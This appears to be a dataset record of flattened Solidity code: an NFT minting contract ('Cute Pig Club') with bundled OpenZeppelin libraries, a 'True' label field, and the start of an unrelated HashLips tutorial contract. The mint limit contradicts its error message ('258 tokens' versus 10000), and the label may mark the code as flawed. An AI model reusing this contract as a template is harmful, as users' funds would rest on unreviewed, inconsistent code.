return (true, map._entries[keyIndex - 1]._value); // All indexes are 1-based
}
/**
* @dev Returns the value associated with `key`. O(1).
*
* Requirements:
*
* - `key` must be in the map.
*/
function _get(Map storage map, bytes32 key) private view returns (bytes32) {
uint256 keyIndex = map._indexes[key];
require(keyIndex != 0, "EnumerableMap: nonexistent key"); // Equivalent to contains(map, key)
return map._entries[keyIndex - 1]._value; // All indexes are 1-based
}
/**
* @dev Same as {_get}, with a custom error message when `key` is not in the map.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {_tryGet}.
*/
function _get(Map storage map, bytes32 key, string memory errorMessage) private view returns (bytes32) {
uint256 keyIndex = map._indexes[key];
require(keyIndex != 0, errorMessage); // Equivalent to contains(map, key)
return map._entries[keyIndex - 1]._value; // All indexes are 1-based
}
// UintToAddressMap
struct UintToAddressMap {
Map _inner;
}
/**
* @dev Adds a key-value pair to a map, or updates the value for an existing
* key. O(1).
*
* Returns true if the key was added to the map, that is if it was not
* already present.
*/
function set(UintToAddressMap storage map, uint256 key, address value) internal returns (bool) {
return _set(map._inner, bytes32(key), bytes32(uint256(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the key was removed from the map, that is if it was present.
*/
function remove(UintToAddressMap storage map, uint256 key) internal returns (bool) {
return _remove(map._inner, bytes32(key));
}
/**
* @dev Returns true if the key is in the map. O(1).
*/
function contains(UintToAddressMap storage map, uint256 key) internal view returns (bool) {
return _contains(map._inner, bytes32(key));
}
/**
* @dev Returns the number of elements in the map. O(1).
*/
function length(UintToAddressMap storage map) internal view returns (uint256) {
return _length(map._inner);
}
/**
* @dev Returns the element stored at position `index` in the set. O(1).
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintToAddressMap storage map, uint256 index) internal view returns (uint256, address) {
(bytes32 key, bytes32 value) = _at(map._inner, index);
return (uint256(key), address(uint160(uint256(value))));
}
/**
* @dev Tries to returns the value associated with `key`. O(1).
* Does not revert if `key` is not in the map.
*
* _Available since v3.4._
*/
function tryGet(UintToAddressMap storage map, uint256 key) internal view returns (bool, address) {
(bool success, bytes32 value) = _tryGet(map._inner, bytes32(key));
return (success, address(uint160(uint256(value))));
}
/**
* @dev Returns the value associated with `key`. O(1).
*
* Requirements:
*
* - `key` must be in the map.
*/
function get(UintToAddressMap storage map, uint256 key) internal view returns (address) {
return address(uint160(uint256(_get(map._inner, bytes32(key)))));
}
/**
* @dev Same as {get}, with a custom error message when `key` is not in the map.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryGet}.
*/
function get(UintToAddressMap storage map, uint256 key, string memory errorMessage) internal view returns (address) {
return address(uint160(uint256(_get(map._inner, bytes32(key), errorMessage))));
}
}
// File: @openzeppelin/contracts/utils/Strings.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev String operations.
*/
library Strings {
/**
* @dev Converts a `uint256` to its ASCII `string` representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
uint256 index = digits - 1;
temp = value;
while (temp != 0) {
buffer[index--] = bytes1(uint8(48 + temp % 10));
temp /= 10;
}
return string(buffer);
}
}
// File: @openzeppelin/contracts/token/ERC721/ERC721.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @title ERC721 Non-Fungible Token Standard basic implementation
* @dev see https://eips.ethereum.org/EIPS/eip-721
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable {
using SafeMath for uint256;
using Address for address;
using EnumerableSet for EnumerableSet.UintSet;
using EnumerableMap for EnumerableMap.UintToAddressMap;
using Strings for uint256;
// Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`
// which can be also obtained as `IERC721Receiver(0).onERC721Received.selector`
bytes4 private constant _ERC721_RECEIVED = 0x150b7a02;
// Mapping from holder address to their (enumerable) set of owned tokens
mapping (address => EnumerableSet.UintSet) private _holderTokens;
// Enumerable mapping from token ids to their owners
EnumerableMap.UintToAddressMap private _tokenOwners;
// Mapping from token ID to approved address
mapping (uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping (address => mapping (address => bool)) private _operatorApprovals;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Optional mapping for token URIs
mapping (uint256 => string) private _tokenURIs;
// Base URI
string private _baseURI;
/*
* bytes4(keccak256('balanceOf(address)')) == 0x70a08231
* bytes4(keccak256('ownerOf(uint256)')) == 0x6352211e
* bytes4(keccak256('approve(address,uint256)')) == 0x095ea7b3
* bytes4(keccak256('getApproved(uint256)')) == 0x081812fc
* bytes4(keccak256('setApprovalForAll(address,bool)')) == 0xa22cb465
* bytes4(keccak256('isApprovedForAll(address,address)')) == 0xe985e9c5
* bytes4(keccak256('transferFrom(address,address,uint256)')) == 0x23b872dd
* bytes4(keccak256('safeTransferFrom(address,address,uint256)')) == 0x42842e0e
* bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)')) == 0xb88d4fde
*
* => 0x70a08231 ^ 0x6352211e ^ 0x095ea7b3 ^ 0x081812fc ^
* 0xa22cb465 ^ 0xe985e9c5 ^ 0x23b872dd ^ 0x42842e0e ^ 0xb88d4fde == 0x80ac58cd
*/
bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd;
/*
* bytes4(keccak256('name()')) == 0x06fdde03
* bytes4(keccak256('symbol()')) == 0x95d89b41
* bytes4(keccak256('tokenURI(uint256)')) == 0xc87b56dd
*
* => 0x06fdde03 ^ 0x95d89b41 ^ 0xc87b56dd == 0x5b5e139f
*/
bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x5b5e139f;
/*
* bytes4(keccak256('totalSupply()')) == 0x18160ddd
* bytes4(keccak256('tokenOfOwnerByIndex(address,uint256)')) == 0x2f745c59
* bytes4(keccak256('tokenByIndex(uint256)')) == 0x4f6ccce7
*
* => 0x18160ddd ^ 0x2f745c59 ^ 0x4f6ccce7 == 0x780e9d63
*/
bytes4 private constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor (string memory name_, string memory symbol_) public {
_name = name_;
_symbol = symbol_;
// register the supported interfaces to conform to ERC721 via ERC165
_registerInterface(_INTERFACE_ID_ERC721);
_registerInterface(_INTERFACE_ID_ERC721_METADATA);
_registerInterface(_INTERFACE_ID_ERC721_ENUMERABLE);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _holderTokens[owner].length();
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
return _tokenOwners.get(tokenId, "ERC721: owner query for nonexistent token");
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory _tokenURI = _tokenURIs[tokenId];
string memory base = baseURI();
// If there is no base URI, return the token URI.
if (bytes(base).length == 0) {
return _tokenURI;
}
// If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked).
if (bytes(_tokenURI).length > 0) {
return string(abi.encodePacked(base, _tokenURI));
}
// If there is a baseURI but no tokenURI, concatenate the tokenID to the baseURI.
return string(abi.encodePacked(base, tokenId.toString()));
}
/**
* @dev Returns the base URI set via {_setBaseURI}. This will be
* automatically added as a prefix in {tokenURI} to each token's URI, or
* to the token ID if no specific URI is set for that token ID.
*/
function baseURI() public view virtual returns (string memory) {
return _baseURI;
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
return _holderTokens[owner].at(index);
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
// _tokenOwners are indexed by tokenIds, so .length() returns the number of tokenIds
return _tokenOwners.length();
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
(uint256 tokenId, ) = _tokenOwners.at(index);
return tokenId;
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(_msgSender() == owner || ERC721.isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(address from, address to, uint256 tokenId) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _tokenOwners.contains(tokenId);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || ERC721.isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
d*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual {
_mint(to, tokenId);
require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_holderTokens[to].add(tokenId);
_tokenOwners.set(tokenId, to);
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId); // internal owner
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
// Clear metadata (if any)
if (bytes(_tokenURIs[tokenId]).length != 0) {
delete _tokenURIs[tokenId];
}
_holderTokens[owner].remove(tokenId);
_tokenOwners.remove(tokenId);
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(address from, address to, uint256 tokenId) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); // internal owner
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_holderTokens[from].remove(tokenId);
_holderTokens[to].add(tokenId);
_tokenOwners.set(tokenId, to);
emit Transfer(from, to, tokenId);
}
/**
* @dev Sets `_tokenURI` as the tokenURI of `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual {
require(_exists(tokenId), "ERC721Metadata: URI set of nonexistent token");
_tokenURIs[tokenId] = _tokenURI;
}
/**
* @dev Internal function to set the base URI for all token IDs. It is
* automatically added as a prefix to the value returned in {tokenURI},
* or to the token ID if {tokenURI} is empty.
*/
function _setBaseURI(string memory baseURI_) internal virtual {
_baseURI = baseURI_;
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data)
private returns (bool)
{
if (!to.isContract()) {
return true;
}
bytes memory returndata = to.functionCall(abi.encodeWithSelector(
IERC721Receiver(to).onERC721Received.selector,
_msgSender(),
from,
tokenId,
_data
), "ERC721: transfer to non ERC721Receiver implementer");
bytes4 retval = abi.decode(returndata, (bytes4));
return (retval == _ERC721_RECEIVED);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits an {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId); // internal owner
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { }
}
// File: @openzeppelin/contracts/access/Ownable.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// CPC
pragma solidity ^0.7.0;
pragma abicoder v2;
contract CutePigClub is ERC721, Ownable {
using SafeMath for uint256;
string public PIG_PROVENANCE = ""; // IPFS URL WILL BE ADDED WHEN PIGS ARE ALL SOLD OUT
string public LICENSE_TEXT = ""; // IT IS WHAT IT SAYS
bool licenseLocked = false; // TEAM CAN'T EDIT THE LICENSE AFTER THIS GETS TRUE
uint256 public constant pigPrice = 30000000000000000; // 0.03 ETH
uint public constant maxPigPurchase = 10000;
uint256 public constant MAX_PIGS = 10000;
bool public saleIsActive = false;
mapping(uint => string) public pigNames;
// Reserve 200 for team - Giveaways/Prizes etc
uint public pigReserve = 200;
event pigNameChange(address _by, uint _tokenId, string _name);
event licenseisLocked(string _licenseText);
constructor() ERC721("Cute Pig Club", "CPC") { }
function withdraw() public onlyOwner {
uint balance = address(this).balance;
msg.sender.transfer(balance);
}
function reservePigs(address _to, uint256 _reserveAmount) public onlyOwner {
uint supply = totalSupply();
require(_reserveAmount > 0 && _reserveAmount <= pigReserve, "Not enough reserve left for team");
for (uint i = 0; i < _reserveAmount; i++) {
_safeMint(_to, supply + i);
}
pigReserve = pigReserve.sub(_reserveAmount);
}
function setProvenanceHash(string memory provenanceHash) public onlyOwner {
PIG_PROVENANCE = provenanceHash;
}
function setBaseURI(string memory baseURI) public onlyOwner {
_setBaseURI(baseURI);
}
function flipSaleState() public onlyOwner {
saleIsActive = !saleIsActive;
}
function tokensOfOwner(address _owner) external view returns(uint256[] memory ) {
uint256 tokenCount = balanceOf(_owner);
if (tokenCount == 0) {
// Return an empty array
return new uint256[](0);
} else {
uint256[] memory result = new uint256[](tokenCount);
uint256 index;
for (index = 0; index < tokenCount; index++) {
result[index] = tokenOfOwnerByIndex(_owner, index);
}
return result;
}
}
// Returns the license for tokens
function tokenLicense(uint _id) public view returns(string memory) {
require(_id < totalSupply(), "CHOOSE A PIG WITHIN RANGE");
return LICENSE_TEXT;
}
// Locks the license to prevent further changes
function lockLicense() public onlyOwner {
licenseLocked = true;
emit licenseisLocked(LICENSE_TEXT);
}
// Change the license
function changeLicense(string memory _license) public onlyOwner {
require(licenseLocked == false, "License already locked");
LICENSE_TEXT = _license;
}
function mintCutepigclub(uint numberOfTokens) public payable {
require(saleIsActive, "Sale must be active to mint Pig");
require(numberOfTokens > 0 && numberOfTokens <= maxPigPurchase, "Can only mint 258 tokens at a time");
require(totalSupply().add(numberOfTokens) <= MAX_PIGS, "Purchase would exceed max supply of pigs");
require(msg.value >= pigPrice.mul(numberOfTokens), "Ether value sent is not correct");
for(uint i = 0; i < numberOfTokens; i++) {
uint mintIndex = totalSupply();
if (totalSupply() < MAX_PIGS) {
_safeMint(msg.sender, mintIndex);
}
}
}
function changePigName(uint _tokenId, string memory _name) public {
require(ownerOf(_tokenId) == msg.sender, "Hey, your wallet doesn't own this pig!");
require(sha256(bytes(_name)) != sha256(bytes(pigNames[_tokenId])), "New name is same as the current one");
pigNames[_tokenId] = _name;
emit pigNameChange(msg.sender, _tokenId, _name);
}
function viewPigName(uint _tokenId) public view returns( string memory ){
require( _tokenId < totalSupply(), "Choose a pig within range" );
return pigNames[_tokenId];
}
// GET ALL PIG OF A WALLET AS AN ARRAY OF STRINGS. WOULD BE BETTER MAYBE IF IT RETURNED A STRUCT WITH ID-NAME MATCH
function pigNamesOfOwner(address _owner) external view returns(string[] memory ) {
uint256 tokenCount = balanceOf(_owner);
if (tokenCount == 0) {
// Return an empty array
return new string[](0);
} else {
string[] memory result = new string[](tokenCount);
uint256 index;
for (index = 0; index < tokenCount; index++) {
result[index] = pigNames[ tokenOfOwnerByIndex(_owner, index) ] ;
}
return result;
}
}
} | True | [
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|
// SPDX-License-Identifier: MIT
// Amended by HashLips
/**
!Disclaimer!
These contracts have been used to create tutorials,
and was created for the purpose to teach people
how to create smart contracts on the blockchain.
please review this code on your own before using any of
the following code for production.
HashLips will not be liable in any way if for the use
of the code. That being said, the code has been tested
to the best of the developers' knowledge to work as intended.
*/
// File: @openzeppelin/contracts/utils/introspection/IERC165.sol
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: @openzeppelin/contracts/token/ERC721/IERC721.sol
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// File: @openzeppelin/contracts/utils/introspection/ERC165.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File: @openzeppelin/contracts/utils/Strings.sol
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File: @openzeppelin/contracts/utils/Address.sol
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
